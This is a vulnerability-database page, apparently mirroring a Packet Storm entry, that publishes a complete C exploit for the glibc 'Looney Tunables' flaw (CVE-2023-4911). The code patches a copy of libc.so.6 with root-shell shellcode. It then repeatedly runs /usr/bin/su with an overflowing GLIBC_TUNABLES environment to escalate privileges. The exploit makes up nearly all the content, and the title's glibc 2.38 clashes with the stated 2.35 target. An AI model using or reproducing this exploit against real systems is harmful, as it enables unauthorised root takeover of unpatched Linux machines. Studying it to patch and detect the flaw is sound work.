Lucene search
+L

📄 glibc 2.38 Buffer Overflow

🗓️ 11 Feb 2026 00:00:00Reported by Beatriz Fresno NaumovaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 245 Views

Local privilege escalation in GNU C library via GLIBC_TUNABLES overflow enabling root via a patched libc.

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
glibc ld.so Local Privilege Escalation Vulnerability
8 Oct 202300:00
–zdt
zdt
zdt
Glibc Tunables Privilege Escalation Exploit
21 Dec 202300:00
–zdt
githubexploit
GithubExploit
Exploit for Heap-based Buffer Overflow in Gnu Glibc
4 Oct 202314:12
–githubexploit
githubexploit
GithubExploit
Exploit for Heap-based Buffer Overflow in Gnu Glibc
23 Dec 202311:54
–githubexploit
githubexploit
GithubExploit
Exploit for Out-of-bounds Write in Netapp Bootstrap_Os
11 Apr 202618:01
–githubexploit
githubexploit
GithubExploit
Exploit for Heap-based Buffer Overflow in Gnu Glibc
25 Oct 202311:59
–githubexploit
githubexploit
GithubExploit
Exploit for Heap-based Buffer Overflow in Gnu Glibc
14 Oct 202302:24
–githubexploit
githubexploit
GithubExploit
cve-poc-collection
7 Jul 202617:00
–githubexploit
githubexploit
GithubExploit
Exploit for Out-of-bounds Write in Netapp Bootstrap_Os
12 Mar 202611:52
–githubexploit
githubexploit
GithubExploit
Exploit for Out-of-bounds Write in Netapp Bootstrap_Os
12 Jul 202604:17
–githubexploit
Rows per page
# Exploit Title: glibc 2.38 - Buffer Overflow 
    # Google Dork: N/A
    # Date: 2025-10-08
    # Exploit Author: Beatriz Fresno Naumova
    # Vendor Homepage: https://www.gnu.org/software/libc/
    # Software Link: https://ftp.gnu.org/gnu/libc/glibc-2.35.tar.gz
    # Version: glibc 2.35 (specifically 2.35-0ubuntu3.3 on Ubuntu 22.04.3 LTS)
    # Tested on: Ubuntu 22.04.3 LTS (glibc 2.35-0ubuntu3.3)
    # CVE : CVE-2023-4911
    
    # Description:
    Looney Tunables - glibc GLIBC_TUNABLES Environment Variable Buffer Overflow 
    # This is a local privilege escalation exploit for CVE-2023-4911, also known as
    # "Looney Tunables", caused by a buffer overflow in the glibc dynamic loader's
    # environment variable parsing logic. The vulnerability is triggered by crafting
    # a maliciously long GLIBC_TUNABLES string which corrupts internal loader state,
    # allowing control over DT_RPATH and arbitrary shared object loading.
    #
    # This PoC creates a patched version of libc.so.6 with embedded shellcode and
    # abuses the loader to execute arbitrary code as root by invoking /usr/bin/su
    # with a malicious environment.
    #
    
    
    
    
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdint.h>
    #include <unistd.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <time.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/resource.h>
    #include <sys/wait.h>
    #include <elf.h>
    
    #define FILL_SIZE 0xd00
    #define BOF_SIZE 0x600
    #define MAX_ENVP  0x1000
    
    // shellcode generado con pwntools
    const unsigned char shellcode[] = {
        0x48, 0x31, 0xff,                         // xor    rdi,rdi
        0x6a, 0x69,                               // push   0x69 ; syscall setuid
        0x58,                                     // pop    rax
        0x0f, 0x05,                               // syscall
        0x48, 0x31, 0xff,                         // xor    rdi,rdi
        0x6a, 0x6a,                               // push   0x6a ; syscall setgid
        0x58,                                     // pop    rax
        0x0f, 0x05,                               // syscall
        0x48, 0x31, 0xd2,                         // xor    rdx, rdx
        0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 
        0x2f, 0x73, 0x68, 0x00,                   // mov rbx, "/bin/sh"
        0x53,                                     // push rbx
        0x48, 0x89, 0xe7,                         // mov rdi, rsp
        0x50,                                     // push rax
        0x57,                                     // push rdi
        0x48, 0x89, 0xe6,                         // mov rsi, rsp
        0xb0, 0x3b,                               // mov al, 0x3b
        0x0f, 0x05                                // syscall
    };
    
    int64_t time_us() {
        struct timespec tms;
        if (clock_gettime(CLOCK_REALTIME, &tms)) return -1;
        int64_t micros = tms.tv_sec * 1000000;
        micros += tms.tv_nsec / 1000;
        if (tms.tv_nsec % 1000 >= 500) ++micros;
        return micros;
    }
    
    void patch_libc() {
        FILE *f = fopen("/lib/x86_64-linux-gnu/libc.so.6", "rb");
        if (!f) { perror("fopen"); exit(1); }
    
        fseek(f, 0, SEEK_END);
        long size = ftell(f);
        rewind(f);
    
        unsigned char *data = malloc(size);
        if (fread(data, 1, size, f) != size) {
            perror("fread");
            exit(1);
        }
        fclose(f);
    
        Elf64_Ehdr *ehdr = (Elf64_Ehdr *)data;
        Elf64_Shdr *shdr = (Elf64_Shdr *)(data + ehdr->e_shoff);
        Elf64_Sym *symtab = NULL;
        char *strtab = NULL;
    
        for (int i = 0; i < ehdr->e_shnum; ++i) {
            if (shdr[i].sh_type == SHT_SYMTAB) {
                symtab = (Elf64_Sym *)(data + shdr[i].sh_offset);
                strtab = (char *)(data + shdr[shdr[i].sh_link].sh_offset);
                break;
            }
        }
    
        if (!symtab || !strtab) {
            fprintf(stderr, "[-] Failed to find symtab\n");
            exit(1);
        }
    
        Elf64_Addr target_addr = 0;
        for (int i = 0; i < shdr->sh_size / sizeof(Elf64_Sym); ++i) {
            if (strcmp(&strtab[symtab[i].st_name], "__libc_start_main") == 0) {
                target_addr = symtab[i].st_value;
                break;
            }
        }
    
        if (!target_addr) {
            fprintf(stderr, "[-] Could not find __libc_start_main\n");
            exit(1);
        }
    
        // patch shellcode at the symbol location
        memcpy(data + target_addr, shellcode, sizeof(shellcode));
    
        f = fopen("./libc.so.6", "wb");
        if (!f) { perror("fopen (write)"); exit(1); }
        fwrite(data, 1, size, f);
        fclose(f);
    
        free(data);
        printf("[+] Patched libc.so.6 written.\n");
    }
    
    int main(void) {
        char filler[FILL_SIZE], kv[BOF_SIZE], filler2[BOF_SIZE + 0x20], dt_rpath[0x20000];
        char *argv[] = {"/usr/bin/su", "--help", NULL};
        char *envp[MAX_ENVP] = { NULL };
    
        // Create directory and patched libc if not present
        if (mkdir("\"", 0755) == 0) {
            patch_libc();
            int sfd = open("./libc.so.6", O_RDONLY);
            int dfd = open("\"/libc.so.6", O_CREAT | O_WRONLY, 0755);
            char buf[0x1000];
            int len;
            while ((len = read(sfd, buf, sizeof(buf))) > 0) {
                write(dfd, buf, len);
            }
            close(sfd); close(dfd);
        }
    
        memset(filler, 'F', sizeof(filler)); filler[sizeof(filler)-1] = '\0';
        strcpy(filler, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
    
        memset(kv, 'A', sizeof(kv)); kv[sizeof(kv)-1] = '\0';
        strcpy(kv, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
    
        memset(filler2, 'F', sizeof(filler2)); filler2[sizeof(filler2)-1] = '\0';
        strcpy(filler2, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
    
        for (int i = 0; i < MAX_ENVP; i++) envp[i] = "";
        envp[0] = filler;
        envp[1] = kv;
        envp[0x65] = "";
        envp[0x65 + 0xb8] = "\x30\xf0\xff\xff\xfd\x7f";
        envp[0xf7f] = filler2;
    
        for (int i = 0; i < sizeof(dt_rpath); i += 8) {
            *(uintptr_t *)(dt_rpath + i) = -0x14ULL;
        }
        dt_rpath[sizeof(dt_rpath) - 1] = '\0';
        for (int i = 0; i < 0x2f; i++) {
            envp[0xf80 + i] = dt_rpath;
        }
        envp[0xffe] = "AAAA";
    
        setrlimit(RLIMIT_STACK, &(struct rlimit){RLIM_INFINITY, RLIM_INFINITY});
    
        int pid;
        for (int ct = 1;; ct++) {
            if (ct % 100 == 0) printf("try %d\n", ct);
    
            if ((pid = fork()) < 0) {
                perror("fork"); break;
            } else if (pid == 0) {
                execve(argv[0], argv, envp);
                perror("execve (child)"); exit(1);
            } else {
                int wstatus;
                int64_t st = time_us(), en;
                wait(&wstatus);
                en = time_us();
    
                if (!WIFSIGNALED(wstatus) && en - st > 1000000) {
                    printf("[+] Exploit likely succeeded!\n");
                    break;
                }
            }
        }
    
        return 0;
    }

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Feb 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.17.8 - 9.8
CVSS 46.9
CVSS 27.5
CVSS 37.3
EPSS0.81422
SSVC
245